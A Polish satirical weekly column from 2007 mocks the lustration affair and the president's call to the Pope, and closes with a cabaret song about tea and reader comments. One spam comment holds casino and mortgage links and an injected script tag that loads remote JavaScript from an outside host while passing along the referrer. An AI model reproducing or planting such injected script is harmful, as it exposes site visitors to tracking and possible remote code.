14-01-2007 Szczepan Zamokły Satanowski
 

U Pana Szczepana. Herbatka pierwsza.

Witam! Ponieważ mamy nasilenie elementów cyklicznych, także i ja nie mogę pozostać bezczynny. Postanawiam postarać się co niedziela uraczyć Was przyrządzoną z fusów zebranych przez cały tydzień herbatką. Nie będzie to - broń Boże - dzienniczek polityczny, ale na pewno, raz na jakiś czas, wątki polityczne się pojawią, jak np. w tym tygodniu. Nie ma to też być blog! Chociaż na pewno ułamki mojego nędznego żywota można by odtworzyć z tej serii. Opisywane przeze mnie zdarzenia z mojego życia mają na celu ukazać dlaczego myślę tak a nie inaczej. Nie tylko dlatego, że punkt widzenia zależy od punktu siedzenia, ale też dlatego, że na postrzeganie świata ma wpływ ostrość widzenia, a ta może być niejednokrotnie (paradoksalnie) poprzez zakłócacze ostrości całkiem nieźle poprawiona.

W piątek wieczorem, z Paryża, z podróży poślubnej, przylecieli kumple którym w noc sylwestrową świadkowałem, jak potrafiłem najlepiej. Szybko zorganizowana polska kolacja, jakieś wino, litr wódeczki, potem jeszcze Okocimie Mocne i Warki Strong. Dyskusja wiadomo na jaki temat: lustracja, polityka, plotki o znajomych, jedna z nich bardzo, bardzo nieznośna, jad, który rozlał się po całym umyśle, duszy, i - co najgorsze - sercu. Tydzień wcześniej, też w piątek wielka, wielka impreza. Rozpoczęła się grzanym winem i nie grzanym, potem standardowa przerwa ?, no a potem to już niezliczone ilości wódki, ale jak zwykle i tak okazało się mało. Niezawodne sąsiadki, przyniosły na ratunek dwie butelki węgierskie: morelowica i gruszkowica obie á 45 proc. Reset. Kto położył mnie spać o 5:30? Kto mnie obudził parę godzin później? Impreza skończyła się niedzielnym seansem filmowym, na nowym ‘kinie domowym’ zaraz po kolacji, z której jestem dumny, a o której niech opowiadają inni. Dyskusje na następujące tematy: 11 września, Kameruńczyk i HIV, lustracja w Kościele.

W międzyczasie w telewizji mix Monty Pytona i Hitchcocka: 'Ingres, którego nie było' w roli głównej Kutas Wielgus, i autokary, które wysłał 'Człowiek, który (po)wiedział za dużo'. Nocne Polaków rozmowy i ta jedna, telefoniczna, która spowodowała u mnie małego pawia. Jego Ekscelencja profesor Lech Aleksander Kaczyński, Prezydent Najjaśniejszej Rzeczypospolitej zadzwonił do Jego Świątobliwości Ojca Świętego Benedykta XVI. Rozmowa musiała być zabawna zważywszy, że Papa mówi lepiej po polsku niż Kaczorek po angielsku…'Wicie Ojcze Święty, rozumiecie' Jak to możliwe? Kurwa mać! Jak się czują katolicy, gdy prezydent gwałci konkordat (którego był gorącym zwolennikiem) niczym europoseł Samoobrony belgijską prostytutkę. Z tą zabawną różnicą, że o ile Andrew Lepper uważał, ze prostytutki zgwałcić się nie da to Pan Prezydent uznał, że pogwałcić może sobie niemal wszystko. W każdym bądź razie, i w jednym, i w drugim wypadku gwałt ma charakter międzynarodowy. Jak się muszą czuć obywatele polscy, zwłaszcza nie katolicy, gdy głowa ich państwa, wydzwania po nocy do głowy innego państwa, jakby zagrożona była sprawa bezpieczeństwa narodowego. Kryzys nuklearny? Brak gazu? Afera szpiegowska? Katastrofa lotnicza? Chodzi tylko o jednego nieszczęśnika, który się zagubił, a o którego nominacji mówiło się już we wrześniu… A może jeden z braci poczuł, że zwalnia się posada, na którą ma najlepszego kandydata na wszelkie posady: Kazimierza Marcinkiewicza. Jakież musiało być rozczarowanie partii rządzącej gdy dowiedziała się, że by zostać nowym metropolitą ekspremier musiałby przyjąć święcenia kapłańskie i popałętać się najpierw kilkanaście lat po wiejskich parafiach. Tydzień na stanowisku doradcy prymasa mógłby być niewystarczający.

I tak się ten cyrk lustracyjny toczy dalej. Pomyśleć, że w sondażu Wirtualnej Polski na bohatera roku 2006 ks. Isakowicz - Zaleski zdobył prawie cztery razy więcej głosów niż Rafał Dutkiewicz, który w pełni zasługuje na miano człowieka sukcesu. I dlaczego? Dlatego, że nic w 2006 r. nie powiedział. Wiemy, że w 2007 r. powie. Na szczęście nie wszystko i nie o wszystkich. Uff… Polacy chyba - niestety - nie są jeszcze gotowi na takie wstrząsy, które można by im zafundować. I nie będą prze co najmniej 99 lat? Sprawa Wielgusa to "Domowe Przedszkole", przy tym. Na szczęście dla wielu obłudny Sąd Lustracyjny, przy sprawie M. Niezabitowskiej przyszedł lobby antylustracyjnemu, które - ku zdziwieniu milionów - zawiązały "Wyborcza" i Radio Maryja, z niespodziewaną odsieczą. Blond piękność rządu T. Mazowieckiego to polski OJ Simpson, ale zostawmy to na boku.

Na Konglo marazm przerwał Nyken swoją fotoserią opowieści polskiego emigranta zarobkowego. Wraz z Justyną, z aparatem fotograficznym i nie podpisaną instrukcją wyjazdową rozpoczęli w 2004 podbój Wyspy. Możemy przypatrzeć się ich wojażom,… aż prosi się o dyktafon i nagranie kilku plików dźwiękowych jako tła do tego projektu. Zwłaszcza o innych młodych Polakach, jakich tam spotkali. Wszyscy narzekamy, ale ja naprawdę wierzę w moje pokolenie, nie wiem czy jest to pokolenie JPII, ale wbrew temu co się sądzi i słyszy, rośnie nam naprawdę fajne społeczeństwo. Taki jest mój osąd. Cóż to za osąd? Obiektywny. I nie mówię tego pod wpływem herbaty, na podstawie fusów trzy razy zaparzanych…

Szczepan Zamokły - Satanowski Niedziela, 14 stycznia 2007 r., Feliksa, Malachiasza, Dzień Migranta i Uchodźcy w czterdziestą rocznicę The World’s First Human Be-in w San Fransisco

Herbatka

Z rozkoszy tego świata ilości niepomiernej zostanie nam po latach herbaty szklanka wiernej i nieraz się w piernatach pomyśli w porze nocnej ha, trudno lecz herbata, herbaty szklanka mocnej

Dopóki Ciebie, Ciebie nam pić Póty jak w niebie, jak w niebie nam żyć Herbatko, Herbatko, Herbatko Dopóki Ciebie, Ciebie nam pić Póty jak w niebie, jak w niebie nam żyć Herbatko, Herbatko

O, jakżes bliska chwilko, jesienne pachną kwiaty a my pragniemy tylko już tylko tej herbaty za oknem deszczyk sypnął - arrivederci lato gdy wtem drzwi cicho skrzypną i witaj nam herbato

Tak wdzięczni że nas darzysz pod koniec już sezonu o Tobie będziem marzyć Twój zapach czule chłonąc a potem syci woni, poprzestaniemy na tym bo doktor nam zabronił picia mocnej herbaty

I po co, i po co nam żyć kiedy nie będzie, nie będzie nam wolno juz pic herbatki, herbatki...

Kabaret Starszych Panów

Szczepan Zamokły Satanowski  

1.   16.1.2007   20:31:37 Justyś
S-Z-S staje się coraz bardziej moim idolem.
2.   17.1.2007   1:6:1 Święty
Moim już jest. Za każdym razem gdy czytam jego artykuł, odchodzi mi ochota na pisanie. Jak widać w tym dziale czuje się jak ryba w wodzie.
3.   8.10.2007   21:7:38 mortgage calculators mortgage calculators
ohxf3zt-gzxnhun-tw6q0779-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://www.sierratimes.com/cgi-bin/ikonboard/topic.cgi?forum=6&topic=49#2">mortgage calculators</a>
http://www.sierratimes.com/cgi-bin/ikonboard/topic.cgi?forum=6&topic=49#1
[url=http://www.sierratimes.com/cgi-bin/ikonboard/topic.cgi?forum=6&topic=49#3]mortgage calculators[/url]
[url]http://www.sierratimes.com/cgi-bin/ikonboard/topic.cgi?forum=6&topic=50#4[/url]
[http://onlinecasinos.dmdns.com/#5 online casinos]
"online poker":http://www.sierratimes.com/cgi-bin/ikonboard/topic.cgi?forum=6&topic=50#6
[LINK http://www.sierratimes.com/cgi-bin/ikonboard/topic.cgi?forum=6&topic=50#7]online poker[/LINK]